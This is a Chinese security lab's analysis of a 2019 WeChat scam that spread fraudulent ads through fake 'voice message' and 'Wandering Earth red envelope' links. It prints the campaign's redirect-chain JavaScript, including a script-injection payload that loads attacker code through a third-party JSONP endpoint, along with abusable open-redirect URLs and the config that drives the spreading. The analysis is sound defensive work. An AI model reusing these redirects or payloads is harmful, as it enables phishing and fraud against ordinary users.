警惕:黑客利用“流浪地球票房紅包”在微信中傳播惡意詐騙廣告
作者:啟明星辰ADLab
公眾號: ADLab
一、事件簡介
近期,啟明星辰ADLab收到客戶反饋:在使用微信的過程中疑似出現“中毒”現象,使用者在群聊中收到“微信語音”,點開後卻提示領取“流浪地球電影票房紅包”,開啟紅包並答題後需要分享至微信群方可“提現”。由於頁面互動逼真,不明真相的使用者紛紛中招,造成諸多群聊中出現了“群邀請” 、“語音”和“廣告”等欺騙性分享連結,併成病毒式快速傳播。連結指向“老中醫”、“投資指導”和“低俗小說”等惡意廣告,誘導使用者新增微信或關注公眾號,之後一步步通過騙取定金或彩票刷單等手段詐騙使用者財產,稍有不慎就會落入圈套。
啟明星辰ADLab迅速對此進行了分析,發現這是一起針對普通使用者的微信灰產惡意廣告詐騙事件。灰產團伙將網頁URL偽裝成“微信語音”,以連結的方式傳送給使用者和微信群,藉助10086、微信和愛奇藝等網站的跳轉連結將“語音”重定向至灰產URL,同時偽造了紅包介面,隱藏了微信的選單和按鈕介面。頁面後臺多次跳轉防封,並將使用者的返回操作定向到新廣告頁面,前臺則利用近期的熱點電影“流浪地球”進行炒作,最終以紅包提現的噱頭引誘使用者分享惡意廣告,傳播牟利,甚至以紅包作為幌子釋出釣魚連結。事件整體流程如圖所示:
二、技術分析
“語音”連結經過重定向和多次跳轉後才載入至紅包介面,我們猜測該團伙是考慮到騰訊的查封規則,為有效增加存活時間,首先通過知名域名的重定向來規避檢查,其使用過的可重定向URL如下:
- http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
- https://as.weixin.qq.com/cgi-bin/amazing?url=
- https://36kr.com/jump?url=(失效)
- https://bird.sns.iqiyi.com/jump?jump_url=
重定向、多次跳轉和JS指令碼執行的主要流程如下(實際跳轉可能隨時變化):
下面針對其中的主要過程進行分析闡釋。
2.1 連結重定向
黑客疑似通過微信JS-SDK自定義文案與圖示偽造“語音”連結,當用戶點選“語音”連結時會被重定向,資料包請求內容如下:
GET /remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1 Host: rd.go.10086.cn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding:gzip, deflate Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connection:keep-alive
資料包迴應內容如下:
HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Feb 2019 06:26:40 GMT Content-Type: text/html Content-Length: 0 Cache-Control: no-cache Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 Proxy-Connection: keep-alive
2.2 連結跳轉
重定向目標地址連結不固定,我們發現的兩個連結如下:
- http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
- http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052
以連結1為例,請求目標為image/svg+xml型別,請求資料內容如下:
GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1 Hostqnimg.9igcw.com Accepttext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-AgentMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding gzip, deflate Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connectionkeep-alive
資料包迴應Headers內容如下:
HTTP/1.1 200 OK Server: Tengine Content-Type: image/svg+xml Content-Length: 285 Date: Thu, 28 Feb 2019 04:48:00 GMT Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Log, X-Reqid Access-Control-Max-Age: 2592000 Cache-Control: public, max-age=31536000 Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2 Content-Transfer-Encoding: binary Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l" Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT X-Log: redis.g;DC;IO:1 X-M-Log: QNM:xs460;QNM3 X-M-Reqid: -XEAAFpARvTCbYcV X-Qiniu-Zone: 0 X-Qnm-Cache: Hit X-Reqid: IFUAAF3TM4jTYIcV X-Svr: IO Ali-Swift-Global-Savetime: 1551329280 Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0] Age: 5918 X-Cache: HIT TCP_HIT dirn:11:386590902 X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT X-Swift-CacheTime: 2592000 Timing-Allow-Origin: * EagleId: 73e7282715513351989788044e Proxy-Connection: keep-alive
其中資料包迴應內容包含新連結至 https://api.meipaifan.cn/j 。
2.3 JavaScript指令碼
請求URL: https://api.meipaifan.cn/j 為JavaScript指令碼,內容如下:
var ua = navigator.userAgent; if (ua.indexOf("MicroMessenger") > 0) {//判斷是否為微信瀏覽器 var noreferrer = true; try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {}; if (top != window || !document.body){ top.location.href = 'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052'; } else{ var a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click(); } };
JS指令碼會通過navigator.userAgent.indexOf來判斷瀏覽器型別,若不是微信瀏覽器返回404。
若為微信瀏覽器,則繼續判斷頁面為前端或後端,再分別依據兩種策略進行後臺訪問(訪問連結可變如: https://tj.esf.fang.com )暗刷流量,在應答的資料中包含Script指令碼指向另外一個新連結(JS指令碼),如下圖所示:
新連結(api.51bjbj.com/j?xload=1)通過指令碼解碼出網頁內容:
解碼後的網頁內容如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>...</title> <!--慶祝拼多多營收1000億美元送紅包--> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/> <meta name="format-detection" content="telephone=no"> <meta name="applicable-device" content="mobile"> <link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css"> <script> window.focusLocation = {}; </script> </head> <body> <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script> <script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script> <script> //location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3'; M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date())); </script> </body> </html>
該網頁引入了微信JS-SDK、Jquery庫、core.js和api.51bjbj.com內的JS指令碼,其中core.js包含自定義的各種功能回撥函式如:loadJS、hideShare和setBack等。
https://api.51bjbj.com./config?var=window.data&sign=0
則包含自定義的資料結構,指向的JS指令碼如下:
window.data = { "ad": { "app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5", "timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png", "title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a" }, "attached": { "case": "7675-hb", "signmode": "jsb", "back_api": "https://zjygx.com/backup/args/bg_back.php", "ad_share": { "pyq": [0, 0], "qun": [0, 0, 0, 0, 0, 0] }, "timeline_ad": true, "player": { "delaytime": 538, "vid": "c0763pr60i5" }, "needWhite": false, "group_ad": true, "iosGoAdUrl": "", "eqc": { "s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js", "ib": 6, "i3": 1, "ic": 4, "d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js" } }, "cnzz": "", "hm": "0c1ecc9c91cfd52db097fbe47eb75864", "to_timeline": { "redirect": "", "ad_weight": "100", "ad_id": "9986", "ad": false, "ok_msg": "", "title": "{fuck}{fuck}", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "landing": "", "link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052", "desc": "" }, "to_group": { "redirect": "", "link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "title": "{fuck}{fuck}", "desc": "{fuck}\u2709", "back_url": "" } }
資料中“img”欄位指向了惡意傳播的URL偽裝圖片:
在使用loadJs()載入檔案後, https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185
內含的JS指令碼會執行紅包介面的邏輯內容,簡要示例如下:
“<p style="font-size: 24px;">慶祝流浪地球電影票房破40億</p>”
即是前端惡意推廣的紅包標題。
該指令碼還包含了goShare函式進行分享操作如圖:
其中, https://api.51bjbj.com./getshare
請求將連結至http://weixin.site.eqxiu.com/...(不固定),並載入JS指令碼。如圖:
https://s.51bjbj.com./jssdk/shareurl?_c=
則指向分享頁面的網頁來源如: obs-cn-shenzhen.yun.pingan.com
。
此外我們注意到,作者在前端隱藏了微信的官方選單介面。如圖:
若使用者將“紅包”分享至群聊,則會生成多種形式的偽裝介面,目前已知的形式分別為“群邀請”、“語音”和“廣告連結”,如圖所示:
當用戶點選分享後的連結時,依然會被重定向至灰產URL並彈出廣告。需要注意的是網頁在後臺 “鎖定”了返回操作,使用者在嘗試返回時頁面會輪循重新整理廣告。如圖所示:
連結通過重定向和跳轉最終定位到廣告:
部分惡意廣告原始連結如下:
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531
三、溯源關聯
我們嘗試添加了幾位“老中醫”和“投資導師”,畫風是這樣的:
基本可以判斷“紅包”推送的廣告為騙取定金或彩票刷單等詐騙行為,對方往往非常耐心,環環相誘,使用者稍不留意就有可能落入圈套,造成財產損失。
此外,我們通過分析 https://api.51bjbj.com./config?var=window.data&sign=0
返回的JS指令碼,在其介面資料中發現了CNZZ資料統計請求的連結。如圖:
https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675連結指向了相似模板的舊版“惡意紅包”。
可見該團伙年初便開始了惡意活動,不過其舊版廣告連結已被查封。在進一步抓包分析後,我們發現重定向後的連結請求為:
Location:
請求包含了微信開發者appid: wxd588ca9e0a8b634e。依此我們關聯到了某視訊廠商的紅包連結。
灰產團伙有可能參照過該廠商的紅包模式,並藉助其URL實現了微信客戶端重定向跳轉( https://bird.sns.iqiyi.com/jump?jump_url=
)。值得注意的是,此類廠商提供的會員紅包獎勵往往需要授權登入賬號,這給灰產團伙創造了很好的釣魚機會,通過登入釣魚等手段竊取使用者資料和賬號從而造成更大的破壞。此類團伙遊走在法律的邊緣,今天可以推送惡意廣告,明天就能隨時變身網路釣魚。
四、總結分析
綜上分析,當前微信的灰產利用正變得越發具有欺騙性和傳播性。一些團伙通過技術手段製作以假亂真的“語音”、“群邀請”等連結來引誘使用者點選,利用重定向和多級跳轉規避檢查,再結合逼真的“紅包”互動攻擊使用者,利用使用者急切獲取紅包的心理進行誘導關注、詐騙錢財和惡意傳播。普通使用者往往難以分辨真假,極易淪為灰產的傳播工具,不僅自身可能遭受財產損失,還會幫助惡意流量大面積擴散。希望此類事件可以引起廠商和廣大使用者的高度警惕,防微杜漸,持續警惕灰產的各類惡意活動,共同維護好網路秩序。
啟明星辰積極防禦實驗室(ADLab)
ADLab成立於1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員,“黑雀攻擊”概念首推者。截止目前,ADLab已通過CVE累計釋出安全漏洞近1000個,通過 CNVD/CNNVD累計釋出安全漏洞近500個,持續保持國際網路安全領域一流水準。實驗室研究方向涵蓋作業系統與應用系統安全研究、移動智慧終端安全研究、物聯網智慧裝置安全研究、Web安全研究、工控系統安全研究、雲安全研究。研究成果應用於產品核心技術研究、國家重點科技專案攻關、專業安全服務等。